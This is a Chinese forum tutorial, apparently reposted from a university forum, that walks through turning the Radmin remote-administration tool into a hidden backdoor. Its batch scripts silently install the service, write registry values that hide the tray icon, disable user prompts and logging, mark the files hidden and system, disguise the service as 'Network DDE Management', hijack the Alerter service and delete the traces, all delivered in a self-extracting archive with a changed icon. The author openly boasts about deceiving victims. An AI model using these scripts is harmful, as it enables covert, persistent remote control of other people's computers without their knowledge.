再来说批处理，在radmin的配置界面安装服务，然后将[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]主键导出，接着把它用批处理命令写入server.reg这个自己建立的注册表文件中，注意关闭回显。这之前先把services注册成服务，注意选择安静模式，这样注册的问题在于没有了[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]主键的配置信息，所以我们才要后来补上。
@echo off
@services.exe /install /silence
echo Windows Registry Editor Version 5.00 > c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]>> c:\server.reg
echo "Port"=hex:fe,07,00,00>> c:\server.reg
echo "Timeout"=hex:0a,00,00,00>> c:\server.reg
echo "EnableLogFile"=hex:00,00,00,00>> c:\server.reg
echo "LogFilePath"="c:\\logfile.txt">> c:\server.reg
echo "FilterIp"=hex:00,00,00,00>> c:\server.reg
echo "DisableTrayIcon"=hex:01,00,00,00>> c:\server.reg
echo "AutoAllow"=hex:00,00,00,00>> c:\server.reg
echo "AskUser"=hex:00,00,00,00>> c:\server.reg
echo "EnableEventLog"=hex:00,00,00,00>> c:\server.reg
echo "NTAuthId"=hex:02,00,00,00>> c:\server.reg
echo "NTAuthEnabled"=hex:00,00,00,00>> c:\server.reg
echo "Parameter"=hex:0d,6f,92,ce,c2,9c,9f,0a,fb,6a,6a,54,65,15,3e,53>> c:\server.reg>>
@regedit /s c:\server.reg

写完后用@regedit /s c:\server.reg 这个语句安静地将我们写好的注册表文件导入
@net start r_server
@attrib +r +h +s %systemroot%\system32\WBEM\services.exe
@attrib +r +h +s %systemroot%\system32\WBEM\Admdll.dll
@attrib +r +h +s %systemroot%\system32\WBEM\raddrv.dll

接着启动r_server服务，因为默认安装的服务名是r_server，启动之后才能改它的显示名称。还做了一个工作就是加了只读，系统和隐藏属性，这步工作你可以做，也可以不做。
下面来改注册表的描述名称：
echo Windows Registry Editor Version 5.00 > c:\ip.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\r_server] >> c:\ip.reg
echo "Description"="动态数据交换的网络传输的管理服务。">> c:\ip.reg
@regedit /s c:\ip.reg

是不是很具有诱惑力？
接着是改显示名称和一些扫尾工作

@del c:\ip.reg /f /q
@del c:\server.reg /f /q
@sc config r_server displayname= "Network DDE Management"
@del %systemroot%\system32\WBEM\sc.exe /f /q
@del %systemroot%\system32\WBEM\2.bat /f /q

显示名称要用到sc，用写注册表的方法是行不通的，我试过了，注意sc的用法，不会地可以查资料。我起的显示名称是不是同样具有诱惑力？哈哈!奸笑中……
试着运行一下那个可爱的自解压文件（因为换了图标，所以很像普通的可执行文件），会蹦出cmd窗口运行一会儿，不小心看一下就过去了，当然这也是有待改进的地方，本人材疏学浅，哪位高人如果能作出了不闪的效果不要忘了跟我说一声哦！调出任务管理器，可以看到有2个services，结束试试？都是关键进程，哈哈，目的达到了。你不是一直都想要做一个不容易被结束的进程吗？服务是一个很好的选择哦！
这里只是做了一个示范，大家看懂了之后可以尽你的想象力自由发挥，做一个说不定连我都会被忽悠过去的服务哦！
接着再来做替换服务，以Alerter为例吧，Alerter服务提供系统管理级警报的服务，不开也没什么太大影响，而且默认是自启动的哦！实际上我们将安装好后的radmin服务的配置替换alter的配置就可以了，这是我试验后得出的结论。接着上面的，把[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\r_server]键值导出，这里取名叫alerter.reg，那么我们的批处理就是这么写了：
@echo off
echo Windows Registry Editor Version 5.00 > c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\iplist]>> c:\server.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]>> c:\server.reg
echo "Port"=hex:fe,07,00,00>> c:\server.reg
echo "Timeout"=hex:0a,00,00,00>> c:\server.reg
echo "EnableLogFile"=hex:00,00,00,00>> c:\server.reg
echo "LogFilePath"="c:\\logfile.txt">> c:\server.reg
echo "FilterIp"=hex:00,00,00,00>> c:\server.reg
echo "DisableTrayIcon"=hex:01,00,00,00>> c:\server.reg
echo "AutoAllow"=hex:00,00,00,00>> c:\server.reg
echo "AskUser"=hex:00,00,00,00>> c:\server.reg
echo "EnableEventLog"=hex:00,00,00,00>> c:\server.reg
echo "NTAuthId"=hex:02,00,00,00>> c:\server.reg
echo "NTAuthEnabled"=hex:00,00,00,00>> c:\server.reg
echo "Parameter"=hex:0d,6f,92,ce,c2,9c,9f,0a,fb,6a,6a,54,65,15,3e,53>> c:\server.reg
@regedit /s c:\server.reg
@regedit /s %systemroot%\system32\WBEM\alerter.reg
@attrib +r +h +s %systemroot%\system32\WBEM\services.exe
@attrib +r +h +s %systemroot%\system32\WBEM\Admdll.dll
@attrib +r +h +s %systemroot%\system32\WBEM\raddrv.dll
@del c:\server.reg /f /q
@del %systemroot%\system32\WBEM\alerter.reg /f /q
@del %systemroot%\system32\WBEM\3.bat /f /q
本测试在2003server上通过。
本文来自: 中国地质大学江城学院论坛(www.jccug.net) 详细出处参考：http://www.jccug.net/thread-3833-1-3.html